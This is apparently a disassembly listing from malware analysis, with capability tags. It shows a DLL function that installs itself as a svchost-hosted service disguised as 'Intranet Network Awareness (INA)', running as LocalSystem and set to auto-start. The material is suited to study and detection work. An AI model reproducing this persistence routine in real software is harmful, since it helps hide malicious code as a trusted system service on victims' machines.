Function at 0x10004706
Capabilities:
Create service
Persist via windows service
Print debug messages
Query or enumerate registry value
Set registry value

Disassembly:
mov eax, 0x10004f00
call sub.MSVCRT.dll__EH_prolog
sub esp, 0x298
mov eax, dword [ebp + 8]
push ebx
push esi
xor ebx, ebx
push edi
cmp eax, ebx
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x14], closesocket
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x1c], str.IPRIP
je 0x10004746
cmp byte [eax], bl
je 0x10004746
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x14]
push eax
push 1
push ebx
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionSvchost
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, ebx
mov dword [ebp + 8], eax
je 0x10004782
push str.RegOpenKeyEx__s__KEY_QUERY_VALUE_error_.
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea eax, [ebp - 0x34]
push 0x10005228
push eax
mov dword [ebp - 0x34], 0x100115ac
call sub.MSVCRT.dll__CxxThrowException
push str.RegOpenKeyEx__s__KEY_QUERY_VALUE_success.
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea eax, [ebp - 0x2c]
mov edi, 0x258
push eax
lea eax, [ebp - 0x2a4]
push eax
lea eax, [ebp - 0x48]
push eax
push ebx
push str.netsvcs
mov dword [ebp - 0x2c], edi
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 0x14]
mov dword [ebp + 8], eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp dword [ebp + 8], ebx
je 0x100047e2
lea eax, [ebp - 0x40]
push 0x10005228
push eax
mov dword [ebp - 0x40], str.RegQueryValueEx_Svchost_netsvcs_
call sub.MSVCRT.dll__CxxThrowException
lea esi, [ebp - 0x2a4]
cmp byte [esi], 0
je 0x10004811
push dword [ebp - 0x1c]
push esi
call dword [sym.imp.MSVCRT.dll__stricmp]
pop ecx
test eax, eax
pop ecx
je 0x1000480c
push ebx
push esi
call dword [sym.imp.MSVCRT.dll_strchr]
pop ecx
inc eax
pop ecx
mov esi, eax
jmp 0x100047e8
cmp byte [esi], 0
jne 0x1000483a
push str.You_specify_service_name_not_in_Svchost__netsvcs__must_be_one_of_following:
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp byte [ebp - 0x2a4], 0
je 0x1000483a
lea eax, [ebp - 0x3c]
push 0x10005228
push eax
mov dword [ebp - 0x3c], 0x100115ac
call sub.MSVCRT.dll__CxxThrowException
push 0xf003f
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
cmp esi, ebx
mov dword [ebp - 0x28], esi
jne 0x10004865
lea eax, [ebp - 0x44]
push 0x10005228
push eax
mov dword [ebp - 0x44], str.OpenSCManager__
call sub.MSVCRT.dll__CxxThrowException
push ebx
push ebx
push ebx
push ebx
push ebx
push str._SystemRoot_System32_svchost.exe__k_netsvcs
push 1
push 2
push 0x20
push 0xf01ff
push str.Intranet_Network_Awareness__INA_
push dword [ebp - 0x1c]
push esi
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
cmp eax, ebx
mov dword [ebp - 0x24], eax
jne 0x100048b0
push str.CreateService__s__error__d
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
lea eax, [ebp - 0x30]
push 0x10005228
push eax
mov dword [ebp - 0x30], 0x100115ac
call sub.MSVCRT.dll__CxxThrowException
mov ebx, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push eax
call ebx
push esi
call ebx
mov ebx, dword [sym.imp.MSVCRT.dll_strncpy]
push edi
lea eax, [ebp - 0x2a4]
push str.SYSTEMCurrentControlSetServices_
push eax
call ebx
mov esi, dword [sym.imp.MSVCRT.dll_strncat]
push 0x64
push dword [ebp - 0x1c]
lea eax, [ebp - 0x2a4]
push eax
call esi
add esp, 0x18
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x2a4]
push eax
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
push edi
lea eax, [ebp - 0x2a4]
push str._SystemRoot_System32_svchost.exe__k
push eax
call ebx
push 0x64
lea eax, [ebp - 0x2a4]
push str.netsvcs
push eax
call esi
lea eax, [ebp - 0x2a4]
push eax
call sub.MSVCRT.dll_strlen
add esp, 0x1c
inc eax
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push eax
lea eax, [ebp - 0x2a4]
push eax
push 2
push 0
push str.ImagePath
push dword [ebp - 0x14]
call esi
push edi
lea eax, [ebp - 0x2a4]
push str.Depends_INA__Collects_and_stores_network_configuration_and_location_information__and_notifies_applications_when_this_information_changes.
push eax
call ebx
add esp, 0xc
lea eax, [ebp - 0x2a4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp - 0x2a4]
push eax
push 1
push 0
push str.Description
push dword [ebp - 0x14]
call esi
push edi
lea eax, [ebp - 0x2a4]
push str.Intranet_Network_Awareness__INA_
push eax
call ebx
add esp, 0xc
lea eax, [ebp - 0x2a4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp - 0x2a4]
push eax
push 1
push 0
push str.DisplayName
push dword [ebp - 0x14]
call esi
lea eax, [ebp - 0x18]
push 4
push eax
push 4
push 0
push str.ErrorControl
push dword [ebp - 0x14]
mov dword [ebp - 0x18], 1
call esi
push edi
lea eax, [ebp - 0x2a4]
push str.LocalSystem
push eax
call ebx
add esp, 0xc
lea eax, [ebp - 0x2a4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp - 0x2a4]
push eax
push 1
push 0
push str.ObjectName
push dword [ebp - 0x14]
call esi
push 4
lea eax, [ebp - 0x18]
pop ebx
mov dword [ebp - 0x18], 2
push ebx
push eax
push ebx
push 0
push str.Start
push dword [ebp - 0x14]
call esi
lea eax, [ebp - 0x18]
push ebx
push eax
push ebx
xor ebx, ebx
mov dword [ebp - 0x18], 0x20
push ebx
push str.Type
push dword [ebp - 0x14]
call esi
lea eax, [ebp - 0x20]
push eax
push str.Parameters
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
mov dword [ebp + 8], eax
lea eax, [ebp - 0x2a4]
push edi
push eax
push dword [0x100115a8]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x10004a96
lea eax, [ebp - 0x38]
push 0x10005228
push eax
mov dword [ebp - 0x38], str.GetModuleFileName___get_dll_path
call sub.MSVCRT.dll__CxxThrowException
mov eax, dword [ebp - 0x4c]
test eax, eax
je 0x10004a90
cmp byte [eax], 0
je 0x10004a90
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp + 8], eax
mov eax, 0x10004ad9
ret
lea eax, [ebp - 0x2a4]
push eax
call sub.MSVCRT.dll_strlen
pop ecx
inc eax
push eax
lea eax, [ebp - 0x2a4]
push eax
push 2
push ebx
push str.ServiceDll
push dword [ebp - 0x20]
call esi
mov edi, str.RpcSs
push edi
call sub.MSVCRT.dll_strlen
inc eax
pop ecx
inc eax
push eax
push edi
push 7
push ebx
push str.DependOnService
push dword [ebp - 0x14]
call esi
mov dword [ebp + 8], eax
push dword [ebp - 0x14]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call esi
push dword [ebp - 0x20]
call esi
push dword [ebp - 0x24]
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push dword [ebp - 0x28]
call esi
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp + 8]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret